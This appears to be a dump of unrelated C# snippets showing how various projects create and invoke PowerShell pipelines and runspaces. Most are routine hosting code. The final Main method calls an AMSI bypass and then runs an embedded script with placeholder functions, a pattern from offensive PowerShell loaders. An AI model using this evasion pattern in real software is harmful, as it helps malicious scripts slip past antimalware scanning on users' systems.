public string Execute(RunnerArgs args) { _pipeline = Runspace.CreatePipeline(); _pipeline.Commands.AddScript(args.Script); _pipeline.Commands.Add("Out-String"); Collection<PSObject> psObjects; try { psObjects = _pipeline.Invoke(); } catch(Exception e) { return e.Message; } if(_pipeline.Error.Count > 0) { var firstOrDefault = _pipeline.Error.ReadToEnd().FirstOrDefault(); if (firstOrDefault != null) { return firstOrDefault.ToString(); } } if(_pipeline.Output.Count > 0) { var firstOrDefault = _pipeline.Output.ReadToEnd().FirstOrDefault(); if (firstOrDefault != null) { return firstOrDefault.ToString(); } } var sb = new StringBuilder(); foreach (var psObject in psObjects) { sb.AppendLine(psObject.ToString()); } return sb.ToString(); }
private void InitializePS(ref OperationResult Result, Pipeline pipeline) { Command initProcess = new Command("Import-Module"); initProcess.Parameters.Add("Name", "ActiveDirectory"); pipeline.Commands.Add(initProcess); try { pipeline.Invoke(); Result.Status = Statics.Result.Success; } catch (Exception ex) { if (!ex.Message.Contains("Unable to find a default server with Active Directory Web Services")) { Result.Status = Statics.Result.Error; Result.Errors.Add(ex.Message); } else { Result.Status = Statics.Result.Success; } } }
public virtual System.Collections.ObjectModel.Collection <System.Management.Automation.PSObject> Invoke() { return(pipeline.Invoke()); }
private Collection<PSObject> InvokeCore(Pipeline pipeline, IEnumerable<object> inputs) { Collection<PSObject> output = null; WithLock(() => { output = inputs == null ? pipeline.Invoke() : pipeline.Invoke(inputs); }); return output; }
public static System.Collections.ObjectModel.Collection<PSObject> RunPSScript(string scriptCode) { System.Collections.ObjectModel.Collection<PSObject> result = null; try { pipeline = testRunSpace.CreatePipeline(); pipeline.Commands.AddScript(scriptCode); pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged); System.Collections.ObjectModel.Collection<PSObject> resultObject = pipeline.Invoke(); //pipeline.InvokeAsync(); //pipeline.Output. return resultObject; } catch (Exception) { //throw(eRunspace); result = null; } return result; }
// ------------------ Methods ---------------------------- public static bool InitializeRunspace(string command) { bool result = false; try { testRunSpace = null; testRunSpace = RunspaceFactory.CreateRunspace(); // testRunSpace.AvailabilityChanged += new EventHandler<RunspaceAvailabilityEventArgs>(runspace_AvailabilityChanged); testRunSpace.AvailabilityChanged += runspace_AvailabilityChanged; // testRunSpace.StateChanged += new EventHandler<RunspaceStateEventArgs>(runspace_StateChanged); testRunSpace.StateChanged += runspace_StateChanged; testRunSpace.Open(); // 20140722 // pipeline = null; pipeline = testRunSpace.CreatePipeline(command); // pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged); pipeline.StateChanged += pipeline_StateChanged; //if (PipelineState.Running == pipeline.PipelineStateInfo.State) { // pipeline.Stop(); //} pipeline.Invoke(); result = true; } catch (Exception eInitRunspace) { // Console.WriteLine(eInitRunspace.Message); //result = false; throw (eInitRunspace); } return result; }
public static System.Collections.ObjectModel.Collection<PSObject> RunPSCode( string codeSnippet, // 20140107 // bool displayRunningCode) bool displayRunningCode, IEnumerable inputData) { // 20140107 // System.Collections.ObjectModel.Collection<PSObject> result = null; System.Collections.ObjectModel.Collection<PSObject> resultObject; try { if (displayRunningCode) reportRunningCode(codeSnippet); pipeline = testRunSpace.CreatePipeline(codeSnippet); // pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged); pipeline.StateChanged += pipeline_StateChanged; // 20140107 // System.Collections.ObjectModel.Collection<PSObject> resultObject = // pipeline.Invoke(); resultObject = null == inputData ? pipeline.Invoke() : pipeline.Invoke(inputData); //pipeline.InvokeAsync(); //pipeline.Output. return resultObject; } catch (Exception eRunspace) { throw(eRunspace); // 20120819 ON // 20140107 // result = null; // resultObject = null; } // 20140107 // return result; // 20141017 // return resultObject; }
internal Collection<PSObject> ExecuteCommandHelper(Pipeline tempPipeline, out Exception exceptionThrown, Executor.ExecutionOptions options) { exceptionThrown = null; Collection<PSObject> pSObjects = null; if ((options & Executor.ExecutionOptions.AddOutputter) > Executor.ExecutionOptions.None) { if (tempPipeline.Commands.Count == 1) { tempPipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); } Command command = new Command("Out-Default", false, new bool?(true), true); tempPipeline.Commands.Add(command); } lock (this.instanceStateLock) { this.pipeline = tempPipeline; } try { try { pSObjects = tempPipeline.Invoke(); } catch (Exception exception1) { Exception exception = exception1; PowwaHost.CheckForSevereException(exception); exceptionThrown = exception; } } finally { this.parent.ResetProgress(); this.Reset(); } return pSObjects; }
// Dispatcher synchronization methods private Collection<PSObject> InvokeCore(Pipeline pipeline, IEnumerable<object> inputs) { lock (_dispatcherLock) { return inputs == null ? pipeline.Invoke() : pipeline.Invoke(inputs); } }
public System.Collections.ObjectModel.Collection<PSObject> RunPowerShell(Pipeline p) { System.Collections.ObjectModel.Collection<PSObject> output = null; //IDesignerHost designer = this as IDesignerHost; //EditorWindow editorWin = (EditorWindow)designer.GetService(typeof(Microsoft.DataWarehouse.ComponentModel.IComponentNavigator)); if (this.EditWindow.InvokeRequired) { IAsyncResult r = EditWindow.BeginInvoke(new MethodInvoker(delegate() {output = p.Invoke(); })); r.AsyncWaitHandle.WaitOne(); } else { //do the real work here output = p.Invoke(); } return output; }
internal Collection<PSObject> ExecuteCommandHelper(Pipeline tempPipeline, out Exception exceptionThrown, ExecutionOptions options) { Dbg.Assert(tempPipeline != null, "command should have a value"); exceptionThrown = null; Collection<PSObject> results = null; if ((options & ExecutionOptions.AddOutputter) > 0) { if (tempPipeline.Commands.Count < 2) { if (tempPipeline.Commands.Count == 1) { // Tell the script command to merge it's output and error streams. tempPipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); } // Add Out-Default to the pipeline to render. tempPipeline.Commands.Add(GetOutDefaultCommand(endOfStatement: false)); } else { // For multiple commands/scripts we need to insert Out-Default at the end of each statement. CommandCollection executeCommands = new CommandCollection(); foreach (var cmd in tempPipeline.Commands) { executeCommands.Add(cmd); if (cmd.IsEndOfStatement) { // End of statement needs to pipe to Out-Default. cmd.IsEndOfStatement = false; executeCommands.Add(GetOutDefaultCommand(endOfStatement: true)); } } var lastCmd = executeCommands.Last(); if (!((lastCmd.CommandText != null) && (lastCmd.CommandText.Equals("Out-Default", StringComparison.OrdinalIgnoreCase))) ) { // Ensure pipeline output goes to Out-Default. executeCommands.Add(GetOutDefaultCommand(endOfStatement: false)); } tempPipeline.Commands.Clear(); foreach (var cmd in executeCommands) { tempPipeline.Commands.Add(cmd); } } } Executor oldCurrent = CurrentExecutor; CurrentExecutor = this; lock (_instanceStateLock) { Dbg.Assert(_pipeline == null, "no other pipeline should exist"); _pipeline = tempPipeline; } try { // blocks until all results are retrieved. results = tempPipeline.Invoke(); } catch (Exception e) { ConsoleHost.CheckForSevereException(e); exceptionThrown = e; } finally { // Once we have the results, or an exception is thrown, we throw away the pipeline. _parent.ui.ResetProgress(); CurrentExecutor = oldCurrent; Reset(); } return results; }
void executeHelper(string cmd, object input) { // Ignore empty command lines. if (String.IsNullOrEmpty(cmd)) return; // Create the pipeline object and make it available // to the ctrl-C handle through the currentPipeline instance // variable. currentPipeline = myRunSpace.CreatePipeline(); // Create a pipeline for this execution. Place the result in the currentPipeline // instance variable so that it is available to be stopped. try { currentPipeline.Commands.Add(cmd); // Now add the default outputter to the end of the pipe and indicate // that it should handle both output and errors from the previous // commands. This will result in the output being written using the PSHost // and PSHostUserInterface classes instead of returning objects to the hosting // application. currentPipeline.Commands.Add("out-default"); currentPipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); // If there was any input specified, pass it in, otherwise just // execute the pipeline. if (input != null) { currentPipeline.Invoke(new object[] { input }); } else { currentPipeline.Invoke(); } } finally { // Dispose of the pipeline line and set it to null, locked because currentPipeline // may be accessed by the ctrl-C handler. currentPipeline.Dispose(); currentPipeline = null; } }
private List<object> ExecuteCommand(bool stringOutput, bool internalScript, Pipeline pipeline) { if (!internalScript) { pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); } if (stringOutput) { pipeline.Commands.Add("out-default"); } pipeline.StateChanged += PipelineStateChanged; // execute the commands in the pipeline now Collection<PSObject> execResults = pipeline.Invoke(); //Output = host.Output; List<object> results = execResults.Select(p => p.BaseObject).ToList(); return results; }
// public static bool IitializeRunspaceAsync(string command) // { // bool result = false; // try { // testRunSpace = null; // testRunSpace = RunspaceFactory.CreateRunspace(); // testRunSpace.AvailabilityChanged += new EventHandler<RunspaceAvailabilityEventArgs>(runspace_AvailabilityChanged); // testRunSpace.StateChanged += new EventHandler<RunspaceStateEventArgs>(runspace_StateChanged); // testRunSpace.OpenAsync(); // //testRunSpace.Open(); // pipeline = // testRunSpace.CreatePipeline(command); // pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged); // pipeline.InvokeAsync(); // result = true; // } // catch (Exception eInitRunspace) { // Console.WriteLine(eInitRunspace.Message); // result = false; // } // return result; // } public static System.Collections.ObjectModel.Collection<PSObject> RunPSCode( string codeSnippet, bool displayRunningCode) { System.Collections.ObjectModel.Collection<PSObject> result = null; try { if (displayRunningCode) { reportRunningCode(codeSnippet); } pipeline = testRunSpace.CreatePipeline(codeSnippet); pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged); System.Collections.ObjectModel.Collection<PSObject> resultObject = pipeline.Invoke(); //pipeline.InvokeAsync(); //pipeline.Output. return resultObject; } catch (Exception eRunspace) { throw(eRunspace); // 20120819 ON result = null; } return result; }
private List<object> ExecuteCommand(bool stringOutput, bool internalScript, Pipeline pipeline, bool marshallResults = true) { if (!internalScript) { pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); } if (stringOutput) { pipeline.Commands.Add("out-default"); } pipeline.StateChanged += PipelineStateChanged; // execute the commands in the pipeline now var execResults = pipeline.Invoke(); if (execResults != null && execResults.Any()) { foreach (var record in execResults.Select(p => p.BaseObject).OfType<ErrorRecord>().Select(result => result)) { Log.Error(record + record.InvocationInfo.PositionMessage, this); } } //Output = host.Output; return marshallResults ? execResults.Select(p => p.BaseObject).ToList() : execResults.Cast<object>().ToList(); }
public static void Main() { const int SW_HIDE = 0; const int SW_SHOW = 5; var handle = Win32.GetConsoleWindow(); // Show Window Win32.ShowWindow(handle, SW_SHOW); var amsi = new Amsi(); amsi.Bypass(); string commandArrayString = "FIXME_FUNCTIONS"; List <string> commandArray = new List <string>(commandArrayString.Split(',')); System.Management.Automation.Runspaces.Runspace runspace = System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace(); runspace.Open(); System.Management.Automation.Runspaces.Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(ApplicationData.runApp()); foreach (var command in commandArray) { pipeline.Commands.AddScript(command); } runspace.SessionStateProxy.SetVariable("FormatEnumerationLimit", -1); pipeline.Commands.Add("Out-String"); System.Collections.ObjectModel.Collection <System.Management.Automation.PSObject> results = pipeline.Invoke(); runspace.Close(); System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(); foreach (System.Management.Automation.PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } System.Console.WriteLine(stringBuilder.ToString()); }